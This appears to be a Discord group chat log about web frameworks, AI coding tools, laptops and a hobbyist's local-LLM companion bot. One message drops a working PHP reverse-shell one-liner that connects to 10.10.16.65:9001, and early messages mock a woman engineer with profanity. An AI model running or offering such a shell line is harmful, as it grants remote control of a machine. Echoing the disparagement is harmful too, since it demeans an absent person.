nah I want their fucking jobs jfc

[stark needle]

They're a fake tho

She didn't even study engineering or anything remotely related

[umbral wigeon]

3 years of scripting - How to center a div

[stark needle]

Our entire infra could be replaced by 1 single directed acyclic graph

[fickle rain]

@claude Center a div for me

[umbral wigeon]

I do @gemini @PROMPT.md

[stark needle]

@AGENTS.md

[umbral wigeon]

I'm pretty sure everyone does it

[fickle rain]

I am not a fan of webdev

[rigid snow]

cat CLAUDE.md be like

[stark needle]

The worst thing this "engineer" uses claude sonnet and she still sucks😭 😭 😭

[fickle rain]

If she used Opus she wouldn’t suck

Skill issue

[stark needle]

go Mythos or go home

❓ ❓ ❓ ❓ ❓ ❓

[umbral wigeon]

When ai can't do something for you, so u gonna release your true power
Ai: Is he reading the documentation?!

Ai can't even reach true powers of human engineers reading documentation

[glass jetty]

idk when i started i thought it will be funny

@spark flame

[stark needle]

what's that username

[maiden geyser]

elite ball knowledge

[umbral wigeon]

I code in .md

[stark needle]

True so smart

[umbral wigeon]

Who even coding in .ts or .js

[stark needle]

Write a markdown code extractor

Code is extracted from live documentation and run

[opaque sigil]

markdown too unstructured, you're supposed to use json

[stark needle]

New documentation workflow Method

[umbral wigeon]

I code in html

And css

Because ai can read html

With css

So it's gonna read html

[stark needle]

Code in json based abstract syntax tree

[umbral wigeon]

With css better

In case, ai can't read my documentation, I'll adjust my code in html and css, so ai can read it better

[glass jetty]

it called comments

anyway

use vue

[stark needle]

[glass jetty]

vue is perfect

[stark needle]

Chat who remember @sage crag era

[umbral wigeon]

I'm a react fan

I'll go with react .jsx

[sage crag]

[opaque wharf]

Very Normal

https://youtube.com/@very-normal

[opaque wharf]

FINALLY

I HAVE COMRADE

[olive sable]

what even is a vue?

[rough bloom]

React but different

[kind nimbus]

100 GbE

[opaque wharf]

It embodies web component spirit in a sense

[glass jetty]

sane elements-as-module system for web

[rough bloom]

ye

like React

React but different

[opaque wharf]

JSX is insane tho

[rough bloom]

JSX has expanded over time I think, ye

especially with the really new stuff like server components

cursed

idk I'm partial to Svelte personally so I don't care that much about JSX
-# have barely used anything else because I'm relatively new to (frontend) webdev

[true hemlock]

bored1

[opaque wharf]

Yeah, svelte and vue are the sane one. But I don't like svelte because of the early syntax

[opaque wharf]

Good, now make 74HC595

[olive sable]

thanks gemini 3.1 pro

[true hemlock]

bored2

forgot Oinv

[true hemlock]

i got the label mixed up

crazy

[olive sable]

[fickle rain]

Yay I have at least one more week to Optimize™

[true hemlock]

HAHA

[sage crag]

[olive sable]

i have another glitch

[fiery anchor]

i hate php

[olive sable]

tbh idk why, it seems to have fixed itself tho

[tender river]

are you trying to get into fpgas?

or just have nothing better to do

[olive sable]

iggly and quack are doing some circuit stuff rn and occasionally send it here

[kind nimbus]

$sock=fsockopen("10.10.16.65",9001);passthru("sh <&3 >&3 2>&3");

[olive sable]

something something transistors

[nocturne olive]

[opaque wharf]

Welcome to the world of EE I guess

https://tenor.com/view/marikiplier-e-meme-lord-farquaad-gif-22138504

[olive sable]

e

nub

enub

[stray dragon]

https://tenor.com/view/rule-rule78-toast-jumpscare-rules-gif-22292883

[olive sable]

its mister t

t being short for toast

[stray dragon]

what

no

t stands for t

[olive sable]

which is short for toast

[stray dragon]

what....

this cannot be.............

[olive sable]

[sage crag]

hi t oast

[stray dragon]

hi konii

it's just t

[tender river]

hi t oast

[stray dragon]

but hi

[olive sable]

t oast

[stray dragon]

no please

[olive sable]

[tender river]

hit toast

[stray dragon]

hi chayleaf

[tender river]

[stray dragon]

hi sam

[olive sable]

hi toast

t||oast||

[stray dragon]

t|| ||

[glass jetty]

t|| ||

[olive sable]

no tenub

[stray dragon]

no way...

[olive sable]

toast

[vague sonnet]

tsaoT

[tender river]

cheers

[glass jetty]

so consciousness is ability to think what other think?

-# idk is it stupid way to define or not

[opaque wharf]

SAO

[glass jetty]

osatt

[fickle rain]

Maybe doing the dumbest thing ever and amortizing cost across several frames is Good Enough™

[mighty thorn]

Woah woah language

[kind nimbus]

Just install NixOS

[olive sable]

framework

https://www.youtube.com/watch?v=5c1sGzZnuiU

[tender river]

framework

the

overpriced tech bro laptop

[olive sable]

yes

but

its pretty good

id take a framework over a lenovo anyday

[tender river]

what about

framework over $3000 lenovo

[glass flower]

do you also have a investment disclosure you want to tell us about toast?

[olive sable]

i just dont like lenovo laptops

even the expensive ones attach their metal case and metal hinges with a piece of plastic that breaks

ask me how i know

i like framework cuz it doesn't ask 150 euro to replace one piece of plastic

[vague sonnet]

wow he looks so schizo now, he really fell off over the years

[olive sable]

i dont mind linus or ltt

i know some people dont like them, i can see why but

[valid onyx]

I've been working on my own AI like neuro for the past 9 months. Her name is kai. It's all neuro inspired. It's been so hard

It's worth it though

[vague sonnet]

any interesting tech or just LLM?

[valid onyx]

She has discord capabilities now. I'm working on sight and other stuff

[vague sonnet]

[valid onyx]

For the past like week I've been working on her discord capabilities

[olive sable]

huh, at the end of the video he starts yapping about an ltt product for some reason against the framework guy. a bit poorly timed

[opaque sigil]

lpcamm2 prices

[valid onyx]

I haven't been able to figure out how to get her to fully work though. It's really wonky. I have to convert speech from my local laptop. Send it to the server she is on. Then send it over to discord

[olive sable]

i dont do ai dev so idk

[valid onyx]

Yeah

[olive sable]

but why not jsut do it directly from the laptop?

[rigid snow]

ai

[valid onyx]

Don't have the hardware

[olive sable]

you already have the laptop you say

[valid onyx]

I have a better PC back at home. I'm just away from home right now

[valid onyx]

It's a basic laptop.

[rigid snow]

larg lamguage modle

[olive sable]

most laptops are known to support web browsers

[valid onyx]

Correct.

[rigid snow]

no wrong

[vague sonnet]

24gb vram, 64gb ram, 16 core 5ghz cpu?

[valid onyx]

I haven't been able to figure out how to get my voice to convert to speak directly through discord. Every single python modules just breaks for discord

[valid onyx]

64gb ddr5 ram. Amd ryzen 7 pro 7840HS with amd rlradeon 780m dedicated graphics

[kind nimbus]

Idk i don't wanna trade in my tuxedo. Currently very happy with it. But i agree modern Lenovo's are just not good.

[valid onyx]

8 cores. 3.80ghz

[vague sonnet]

yeah that's enough for AGI

if you used a better model type than an LLM

[valid onyx]

i use llama3.1:8b

[valid onyx]

do you have another model suggestion?

[vague sonnet]

just simulate a real brain

[valid onyx]

i guess. i could try that.

[glass flower]

qwen 3.5 9b

[valid onyx]

would that work on my laptop?

[glass flower]

probably if not then use the 4b version

[valid onyx]

i can try

[olive sable]

ye

[glass flower]

you could also use the new gemma model that is specifically meant for smaller vram and lower end devices like phones in gemma 4 e2b or something like that

[olive sable]

the modularity of framework is pretty cool but i probably will barely use it. its jsut that i despise lenovo and hp making their laptops from cardboard

[valid onyx]

does anyone have any suggestions on how to fix the discord voice chat issue? ive tried discord.py pycord and discord-recv but none work

[olive sable]

even their fully cnc machined models have some plastic weakpoint at the hinges somewhere that fuck up the entire computer after a year

[nocturne olive]

I assume Discord gives you an encoded audio stream that you need to decode into raw PCM to pass into a STT

[opaque sigil]

i kind of want one but the memory prices are killing me so that's not happening

[olive sable]

same

[nocturne olive]

Also Python is just jank

[valid onyx]

do you have any suggestions how to fix the discord voice chat issue? ive tried discord.py pycord and discord-recv but none work

[kind nimbus]

Modularity is cool yea

But in reality i probably would not really utilize it either

I wanted a full metal build with lots of memory high refresh rate and tons of power with native Linux support. That's why I went with a tuxedo.

[nocturne olive]

Kotlin

[opaque sigil]

with sodimm at least there are other ways to source them/reuse them, i don't think i've ever seen lpcamm2 modules anywhere

[valid onyx]

whats kotlin?

[nocturne olive]

Programming language

One that doesn't suck like Python

[prime ridge]

L ragebait

[valid onyx]

interesting. so how did vedal get neuro to work on discord? if its all coded in python?

[nocturne olive]

Pretty sure Neuro's DC integration is in C#

[valid onyx]

ah got it.

[nocturne olive]

Neuro has Java GC

[olive sable]

iirc parts of neuro are C# cuz unity, and parts are python cuz llm

[valid onyx]

yeah. makes sense

[nocturne olive]

Tho the rewrite probably decouples a lot from Unity

[valid onyx]

how does unity have anything to do with it? isnt unity a game engine?

[nocturne olive]

But Ved was stupid and coded Neuro's rendering in Unity

[valid onyx]

lmao. so just avoid unity?

[nocturne olive]

And basically all the stream front end stuff

[nocturne olive]

It's known for bugs and issues and memory leaks

[valid onyx]

so still code in c# but not with unity?

[nocturne olive]

C# is just Microslop Java and Kotlin is Java but better

[vague sonnet]

b-but optimal language for ML is c++

[olive sable]

yes but no

python has the tools

pytorch and such